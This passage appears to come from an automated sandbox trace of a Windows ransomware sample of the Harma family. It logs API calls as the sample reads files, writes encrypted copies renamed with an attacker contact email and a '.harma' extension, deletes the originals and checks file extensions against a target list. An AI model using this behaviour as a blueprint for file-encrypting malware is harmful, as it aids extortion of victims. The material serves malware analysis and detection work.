returned 11 [0065.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0067.910] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1312656) returned 1 [0067.911] CloseHandle (hObject=0x170) returned 1 [0067.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0067.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0067.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0067.911] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.911] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0067.911] GetLastError () returned 0x0 [0067.912] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0067.936] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0068.065] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0068.078] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0068.087] ReadFile (in: hFile=0x170, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.087] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xea, lpOverlapped=0x0) returned 1 [0068.087] SetEndOfFile (hFile=0x208) returned 1 [0068.087] CloseHandle (hObject=0x208) returned 1 [0068.088] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.088] SetEndOfFile (hFile=0x170) returned 1 [0068.092] CloseHandle (hObject=0x170) returned 1 [0068.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.092] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString=".doc") returned 4 [0068.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString=".docx") returned 5 [0068.093] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.093] lstrlenW (lpString=".pdf") returned 4 [0068.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString=".xls") returned 4 [0068.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString=".xlsx") returned 5 [0068.093] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.093] lstrlenW (lpString=".ppt") returned 4 [0068.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString=".zip") returned 4 [0068.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString=".rar") returned 4 [0068.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.093] lstrlenW (lpString=".bz2") returned 4 [0068.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.093] lstrlenW (lpString=".7z") returned 3 [0068.093] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString=".dbf") returned 4 [0068.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString=".1cd") returned 4 [0068.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.093] lstrlenW (lpString=".jpg") returned 4 [0068.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString=".doc") returned 4 [0068.094] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString=".docx") returned 5 [0068.094] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.094] lstrlenW (lpString=".pdf") returned 4 [0068.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString=".xls") returned 4 [0068.094] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString=".xlsx") returned 5 [0068.094] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.094] lstrlenW (lpString=".ppt") returned 4 [0068.094] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString=".zip") returned 4 [0068.094] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString=".rar") returned 4 [0068.094] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.094] lstrlenW (lpString=".bz2") returned 4 [0068.094] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.094] lstrlenW (lpString=".7z") returned 3 [0068.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString=".dbf") returned 4 [0068.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString=".1cd") returned 4 [0068.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0068.094] lstrlenW (lpString=".jpg") returned 4 [0068.095] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.095] lstrcmpiW (lpString1=".CGM", lpString2=".harma") returned -1 [0068.095] lstrlenW (lpString="MS.CGM") returned 6 [0068.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x9f4 [0039.413] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36304e8 [0039.413] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36404f0 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03c0 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f30c0 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03d8 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3ba0020 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03f0 [0039.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f03f0, Size=0x20) returned 0x63fae0 [0039.414] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03f0 [0039.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f03f0, Size=0x20) returned 0x63fab8 [0039.414] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.415] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.415] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x0) returned 1 [0039.415] lstrlenW (lpString="kernel32.dll") returned 12 [0039.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fae0 | out: hHeap=0x5a0000) returned 1 [0039.415] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0039.415] Sleep (dwMilliseconds=0x64) [0039.575] lstrcmpiW (lpString1=".LOG2", lpString2=".harma") returned 1 [0039.575] lstrlenW (lpString="BCD.LOG2") returned 8 [0039.575] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0039.743] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=0) returned 1 [0039.743] CloseHandle (hObject=0x170) returned 1 [0039.743] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.743] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.743] lstrlenW (lpString=".doc") returned 4 [0039.743] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0039.743] lstrlenW (lpString=".docx") returned 5 [0039.743] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0039.743] lstrlenW (lpString=".pdf") returned 4 [0039.743] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0039.743] lstrlenW (lpString=".xls") returned 4 [0039.743] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0039.743] lstrlenW (lpString=".xlsx") returned 5 [0039.743] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0039.743] lstrlenW (lpString=".ppt") returned 4 [0039.743] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0039.743] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.743] lstrlenW (lpString=".zip") returned 4 [0039.743] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0039.743] lstrlenW (lpString=".rar") returned 4 [0039.743] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0039.744] lstrlenW (lpString=".bz2") returned 4 [0039.744] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0039.744] lstrlenW (lpString=".7z") returned 3 [0039.744] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0039.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.744] lstrlenW (lpString=".dbf") returned 4 [0039.744] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0039.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.744] lstrlenW (lpString=".1cd") returned 4 [0039.744] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0039.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.744] lstrlenW (lpString=".jpg") returned 4 [0039.744] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString=".doc") returned 4 [0039.749] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".docx") returned 5 [0039.749] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0039.749] lstrlenW (lpString=".pdf") returned 4 [0039.749] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".xls") returned 4 [0039.749] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".xlsx") returned 5 [0039.749] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0039.749] lstrlenW (lpString=".ppt") returned 4 [0039.749] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString=".zip") returned 4 [0039.749] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".rar") returned 4 [0039.749] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".bz2") returned 4 [0039.749] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString=".7z") returned 3 [0039.749] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString=".dbf") returned 4 [0039.749] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString=".1cd") returned 4 [0039.749] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0039.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0039.749] lstrlenW (lpString=".jpg") returned 4 [0039.749] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0039.750] Sleep (dwMilliseconds=0x64) [0039.957] Sleep (dwMilliseconds=0x64) [0040.263] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0040.263] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0040.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0040.263] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2503680) returned 1 [0040.263] CloseHandle (hObject=0x16c) returned 1 [0040.263] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0040.263] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.263] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0040.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0040.264] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.264] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.264] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.272] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.274] ReadFile (in: hFile=0x16c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.298] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.298] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.298] ReadFile (in: hFile=0x16c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.381] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.381] WriteFile (in: hFile=0x16c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0040.408] SetEndOfFile (hFile=0x16c) returned 1 [0040.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f23b48 [0040.413] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.413] WriteFile (in: hFile=0x16c, lpBuffer=0x3f23b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23b48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.751] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.751] WriteFile (in: hFile=0x16c, lpBuffer=0x3f23b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23b48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.757] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.757] WriteFile (in: hFile=0x16c, lpBuffer=0x3f23b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23b48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f23b48 | out: hHeap=0x5a0000) returned 1 [0040.763] CloseHandle (hObject=0x16c) returned 1 [0041.608] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.608] lstrlenW (lpString=".doc") returned 4 [0041.608] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.608] lstrlenW (lpString=".docx") returned 5 [0041.608] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.608] lstrlenW (lpString=".pdf") returned 4 [0041.608] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.608] lstrlenW (lpString=".xls") returned 4 [0041.608] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.608] lstrlenW (lpString=".xlsx") returned 5 [0041.608] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.608] lstrlenW (lpString=".ppt") returned 4 [0041.608] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.608] lstrlenW (lpString=".zip") returned 4 [0041.608] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.609] lstrlenW (lpString=".rar") returned 4 [0041.609] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.609] lstrlenW (lpString=".bz2") returned 4 [0041.609] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.609] lstrlenW (lpString=".7z") returned 3 [0041.609] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.609] lstrlenW (lpString=".dbf") returned 4 [0041.609] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.609] lstrlenW (lpString=".1cd") returned 4 [0041.609] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.609] lstrlenW (lpString=".jpg") returned 4 [0041.609] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.609] lstrlenW (lpString=".doc") returned 4 [0041.609] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.609] lstrlenW (lpString=".docx") returned 5 [0041.609] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.609] lstrlenW (lpString=".pdf") returned 4 [0041.609] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.609] lstrlenW (lpString=".xls") returned 4 [0041.609] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.609] lstrlenW (lpString=".xlsx") returned 5 [0041.609] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.609] lstrlenW (lpString=".ppt") returned 4 [0041.609] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.610] lstrlenW (lpString=".zip") returned 4 [0041.610] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.610] lstrlenW (lpString=".rar") returned 4 [0041.610] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.610] lstrlenW (lpString=".bz2") returned 4 [0041.610] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.610] lstrlenW (lpString=".7z") returned 3 [0041.610] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.610] lstrlenW (lpString=".dbf") returned 4 [0041.610] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.610] lstrlenW (lpString=".1cd") returned 4 [0041.610] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0041.610] lstrlenW (lpString=".jpg") returned 4 [0041.610] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.610] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0041.610] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0041.610] 